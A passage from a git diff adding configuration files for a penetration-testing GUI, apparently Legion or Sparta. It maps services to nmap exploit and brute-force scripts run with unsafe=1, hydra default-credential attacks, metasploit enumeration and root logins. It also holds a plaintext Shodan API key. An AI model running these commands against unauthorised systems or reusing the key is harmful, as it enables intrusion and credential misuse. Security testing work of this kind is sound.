[PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql +mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql +mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql +nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns +nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs +nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs +nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs +nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt,https-alt" +nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], +oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle +oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle +oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns +oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle +oracle-sid=Oracle SID enumeration, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/sid_enum; set RHOSTS [IP]; run; exit -y\"", oracle-tns +oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle +oracle-version=Get Oracle version, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/tnslsnr_version; set RHOSTS [IP]; run; exit -y\"", oracle-tns +polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" +pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 +pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 +postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql +rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server +realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc +riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind +rwho=Run rwho, rwho -a [IP], who +samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba +samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" +showmount=Show nfs shares, showmount -e [IP], nfs +smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb +smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb +smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" +smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb +smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb +smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb +smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb +smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb +smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb +smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb +smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb +smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb +smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb +smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb +smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb +smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb +smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb +smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb +smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb +smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb +smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" +smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb +smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp +smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp +smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp +smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp +smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp +snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" +snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp +snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" +snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp +snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp +snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp +snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp +snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp +snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp +snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp +snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp +snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp +snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp +snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" +ssh-default=Check for default ssh credentials, hydra -s [PORT] -C ./wordlists/ssh-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh +ssh-default-root=Check for default ssh root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh +ssh-default-router=Check for default ssh router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh +sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl,https-alt" +sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp,https-alt" +telnet-default=Check for default telnet credentials, hydra -s [PORT] -C ./wordlists/telnet-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet +telnet-default-root=Check for default telnet root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet +telnet-default-router=Check for default telnet router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet +tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp +theharvester=Run theharvester, theharvester -d [IP]:[PORT] -b all -n -c -t -h, dns +vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc +vnc-default=Check for default VNC credentials, hydra -s [PORT] -C ./wordlists/vnc-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] vnc, vnc +vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc +wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl,https-alt" +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,https-alt" +wpscan=Run wpscan, wpscan --url [IP], "http,https,ssl,https-alt" + +[PortTerminalActions] +firefox=Open with firefox, firefox [IP]:[PORT], +ftp=Open with ftp client, ftp [IP] [PORT], [term] ftp +mssql=Open with mssql client (as sa), [term] python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" +mysql=Open with mysql client (as root), "[term] mysql -u root -h [IP] --port=[PORT] -p", mysql +netcat=Open with netcat, [term] nc -v [IP] [PORT], +psql=Open with postgres client (as postgres), [term] psql -h [IP] -p [PORT] -U postgres, postgres +rdesktop=Open with rdesktop, [term] rdesktop [IP]:[PORT], ms-wbt-server +rlogin=Open with rlogin, [term] rlogin -i root -p [PORT] [IP], login +rpcclient=Open with rpcclient (NULL session), [term] rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" +rsh=Open with rsh, rsh -l root [IP], [term] shell +ssh=Open with ssh client (as root), [term] ssh root@[IP] -p [PORT], ssh +telnet=Open with telnet, [term] telnet [IP] [PORT], +vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc +xephyr=Open with Xephyr, [term] Xephyr -query [IP] :1, xdmcp +xterm=Open terminal, [term] bash, + +[SchedulerSettings] +screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp + +[StagedNmapSettings] +stage1-ports="T:80,81,443,4443,8080,8081,8082" +stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" +stage3-ports="Vulners,CVE" +stage4-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" +stage5-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" +stage6-ports=T:30000-65535 + +[ToolSettings] +cutycapt-path=/usr/bin/cutycapt +hydra-path=/usr/bin/hydra +nmap-path=/sbin/nmap +pyshodan-api-key=SNYEkE0gdwNu9BRURVDjWPXePCquXqht +texteditor-path=/usr/bin/leafpad diff --git a/custom_configs/Large_Scope.conf b/custom_configs/Large_Scope.conf new file mode 100644 index 00000000..c7083e5c --- /dev/null +++ b/custom_configs/Large_Scope.conf @@ -0,0 +1,322 @@ +[BruteSettings] +default-password=password +default-username=root +no-password-services="oracle-sid,rsh,smtp-enum" +no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" +password-wordlist-path=/usr/share/wordlists/ +services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,https-get-form,http-post-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +store-cleartext-passwords-on-exit=True +username-wordlist-path=/usr/share/wordlists/ + +[GUISettings] +process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,483,100" +process-tab-detail=false + +[GeneralSettings] +default-terminal=xterm +enable-scheduler=True +enable-scheduler-on-import=False +max-fast-processes=5 +max-slow-processes=5 +screenshooter-timeout=15000 +tool-output-black-background=False +web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" + +[HostActions] +icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] +nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" +nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" +nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" +nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan +python-script-macvendors=Run macvendors python script, /bin/echo PythonScript macvendors +unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v + +[PortActions] +banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", +broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql +citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix +citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix +citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix +cloudfail=Run cloudfail, python3.7 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail +dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt,https-alt" +dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap +enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" +finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger +ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp +ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp +ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp +ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp +ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp +ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp +http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse 